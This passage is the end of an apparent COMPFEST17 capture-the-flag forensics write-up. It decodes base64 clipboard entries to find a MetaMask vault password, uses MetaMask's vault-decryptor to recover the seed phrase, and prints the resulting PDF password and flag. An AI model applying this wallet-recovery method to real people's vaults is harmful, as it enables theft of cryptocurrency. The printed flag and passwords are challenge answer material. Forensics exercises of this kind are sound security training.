"content": "IkM6XFVzZXJzXGFsYjNkXEFwcERhdGFcTG9jYWxcTWljcm9zb2Z0XFdpbmRvd3NBcHBzXHB5dGhvbi5leGUi",
"formatName": "Text",
},
{"content": "QzpcVXNlcnNcYWxiM2RcQXBwRGF0YVxMb2NhbFxQcm9ncmFtc1xQeXRob25cUHl0aG9uMzEz", "formatName": "Text"},
{"content": "QzpcVXNlcnNcYWxiM2RcQXBwRGF0YVxMb2NhbFxQcm9ncmFtc1xQeXRob25cUHl0aG9uMzEz", "formatName": "Text"},
{
"content": "UHl0aG9uIDMuMTMuNSAodGFncy92My4xMy41OjZjYjIwYTIsIEp1biAxMSAyMDI1LCAxNjoxNTo0NikgW01TQyB2LjE5NDMgNjQgYml0IChBTUQ2NCldIG9uIHdpbjMyDQpUeXBlICJoZWxwIiwgImNvcHlyaWdodCIsICJjcmVkaXRzIiBvciAibGljZW5zZSIgZm9yIG1vcmUgaW5mb3JtYXRpb24uDQo+Pj4NCg==",
"formatName": "Text",
},
{
"content": "QzpcVXNlcnNcYWxiM2Q+d2hlcmUgcHl0aG9uDQpDOlxVc2Vyc1xhbGIzZFxBcHBEYXRhXExvY2FsXE1pY3Jvc29mdFxXaW5kb3dzQXBwc1xweXRob24uZXhl",
"formatName": "Text",
},
{"content": "QzpcVXNlcnNcYWxiM2Q+cHkgLS12ZXJzaW9uDQpQeXRob24gMy4xMy41", "formatName": "Text"},
{"content": "IGh0dHA6Ly8xOTIuMTY4LjEyOS45Mjo4MDAwLw==", "formatName": "Text"},
{"content": "SUdoMGRIQTZMeTh4T1RJdU1UWTRMakV5T1M0NU1qbzRNREF3THc9PQ==", "formatName": "Text"},
{"content": "bWF1IHRlcyBhamE=", "formatName": "Text"},
{
"content": "UXpwY1ZYTmxjbk5jWVd4aU0yUmNRWEJ3UkdGMFlWeE1iMk5oYkZ4RGIyNXVaV04wWldSRVpYWnBZMlZ6VUd4aGRHWnZjbTFjTkRZM09XWXpNekZoWkdWa016QTFZUT09",
"formatName": "Text",
},
{
"content": "UXpwY1ZYTmxjbk5jWVd4aU0yUmNRWEJ3UkdGMFlWeE1iMk5oYkZ4RGIyNXVaV04wWldSRVpYWnBZMlZ6VUd4aGRHWnZjbTFjTkRZM09XWXpNekZoWkdWa016QTFZUT09",
"formatName": "Text",
},
{"content": "bmpheSBrZXJlbiBqdWdhIGJhbmc=", "formatName": "Text"},
{"content": "bWF1IG55YXJpIHBhc3N3b3JkbnlhIGF3b2thb3drYW9r", "formatName": "Text"},
{"content": "aW5pIHBhc3N3b3JkbnlhIGRpIGNvcHlhbiBzbGFuanV0bnlhIHlh", "formatName": "Text"},
{"content": "dGFwaSBib2hvbmcgOnY=", "formatName": "Text"},
{
"content": "bmFoIGluaSBiZW5lcmFuDQoNCnBhc3N3b3JkIDogbTBuZHN0YWR0YzF0eTBmRnIzM2RvbQ0Ka2VyZW4gYmFuZw==",
"formatName": "Text",
},
{
"content": "bmFoIGluaSBiZW5lcmFuDQoNCnBhc3N3b3JkIDogbTBuZHN0YWR0YzF0eTBmRnIzM2RvbQ0Ka2VyZW4gYmFuZw==",
"formatName": "Text",
},
{"content": "b2tlIGJhbmcgc2lsYWhrYW4gZGkgc29scCB5YSBkaWtpdCBsYWdp", "formatName": "Text"},
{"content": "a2VyZW4gZ2c=", "formatName": "Text"},
{"content": "a2VyZW4gZ2c=", "formatName": "Text"},
]
# Decode and print
for entry in data:
decoded = base64.b64decode(entry["content"]).decode(errors="ignore")
print(decoded)
```

#### Decrypting vault data
To retrieve the BIP 39 mnemonics from the vault, We can use this [online tool](https://metamask.github.io/vault-decryptor/). Just insert the vault data JSON and vault password.

Now we have the `secret.pdf` password `detect_above_congress_nerve_weasel_pottery_arctic_sustain_vendor_stick_excuse_unable`
### Flag

`COMPFEST17{c0ngr@tulat1on_you_hav3_found_the_s3cret_and_here_is_y0ur_r3ward}`